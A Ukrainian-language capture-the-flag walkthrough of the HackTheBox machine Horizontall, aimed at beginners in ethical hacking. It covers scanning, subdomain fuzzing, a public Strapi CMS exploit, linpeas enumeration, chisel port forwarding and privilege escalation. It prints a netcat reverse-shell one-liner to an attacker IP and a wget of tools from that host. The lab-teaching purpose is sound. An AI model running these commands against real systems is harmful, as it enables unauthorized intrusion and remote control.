Введення
Починаю публікацію рішень машин з майданчика HackOneBox. Сподіваюся цей туторіал стане невеликою підказкою тим, хто тільки починає свій шлях в етичному зломі. Почнемо....
Для успішного проходження необхідно:
- Знати, що таке експлойт
- Вміти "" правильно "гуглити
У підсумку ми дізнаємося:
- Як шукати точку входу
- Що потрібно для підвищення привілеїв
- Чому прокинути порт стало так просто
Розвідка
Саме з розвідки починається будь-яка атака на цільову систему. Необхідно зрозуміти, що взагалі можна атакувати. Використовуємо сканер nmap.
nmap -A -sC -sV -Pn 10.10.11.105 -p-.
Отримали наступне:
Будь-який порт є потенційною точкою входу, але маючи невеликий досвід перебування на даному майданчику можу сказати: "22 порт не наш варіант" ". Користувачі тут хитромудрі і паролі у них серйозні. Наша мета - 80 порт. їдемо далі..
Для початку додамо IP атакуваної машини в файл/etc/hosts, що звертатися за доменною назвою.
Чудово! Відвідаємо веб-сайт, може знайдемо щось цікаве...
Рекомендую «побіжно» переглядати код сторінки. У ньому може завалятися чутлива інформація (паролі, версії використовуваного ПЗ, корисні посилання). Далі перебір директорій, але тут, на жаль dirbuster не справляється...
Будь-яка поважаюча себе компанія буде використовувати в своїх цілях кілька доменів. Це наступне, що необхідно перевірити. Машини з HTB знаходяться в vpn мережі, пошук піддоменів через онлайн сервіси до результату точно не призведе. Для цього відмінно підійде утиліта wfuzz.
wfuzz -w subdomain.txt -u 'http://horizontall.htb/' -H ""Host: FUZZ.horizontall.htb"" --hc 301
І через деякий час...
Цей піддомін потрібно додати до файла/etc/hosts і відразу перевірити на наявність цікавих каталогів.
gobusterdir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,php –e
Точка входу
CMS Strapi. Трохи погуглити... Точку входу знайдено!
Застосовуємо експлойт.
python3 50239.py http://api-prod.horizontall.htb/
Екплойт працює, shell є!
Я відразу піднімаю у себе локальний сервер (nc -nvlp 1234) і отримую зворотний shell (rm/tmp/f; mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 1234 > /tmp/f). Всі зворотні shells наведені тут. Я використовував вивід команд через файл (rm/tmp/f; mknod/tmp/f p; cat/tmp/f), оскільки при звичайному підключенні (nc 10.10.14.10 1234) вивід команд не відображається. Це пов'язано з налаштуваннями цільової системи, а саме з тим, що користувач strapi за замовчуванням не має інтерактивної оболонки.
Для зручності перейдемо в bash.
python3 -c 'import pty;pty.spawn(""/bin/bash"")'
Підвищення привілеїв
Для підвищення привілеїв я використовую проект linpeas.sh. Попередньо піднявши сервер (python3 -m http.server) і закачавши його на атакуючу машину (wget http://10.10.14.10:8000/linpeas.sh).
Запускаємо скрипт і чекаємо пару хвилин
sh linpeas,sh
Цей скрипт дозволяє збирати інформацію про систему, версії використовуваного ПЗ, відкриті порти тощо.
База даних mysql, а ось на 8000 порту може бути щось цікаве.
Як достукатися?
Отже, ми підійшли до найголовнішого в цій статті. Прокидання порту - штука корисна, але трохи не зрозуміла. Раніше я прокидав як описано тут. Для успішного прокидання потрібно або знайти пароль користувача, або налаштувати свою ssh службу (яка за замовчуванням не налаштована).
Скрипт із завданням впорався і знайшов пароль, але він, на жаль не підходить
А ще з пробосом через ssh існує море проблем...
- Таймінги
- Користувачеві не можна використовувати ssh
- З'єднання логується
- ssh, зазвичай стежать
Полазивши в інтернеті, я знайшов цікаве ПЗ, яке дозволяє прокинути порт за лічені секунди. Зустрічайте, chisel. Дане ПЗ складається з двох компонентів: сервера і клієнта. Сервер піднімаємо у себе, а клієнт на цільовій системі.
Не забудьте дати клієнтові право на виконання.
Виходить, що між нашими машинами був створений свого роду тунель. Більш детально про це можна подивитися в цьому відео. Тепер звернемося до 8001 порту, через localhost.
Пошук експлойту в інтернеті не зайняв багато часу.
Використовуємо.
Отримуємо shell як описано вище.
Тачку пройдено! Всім вдалого злому.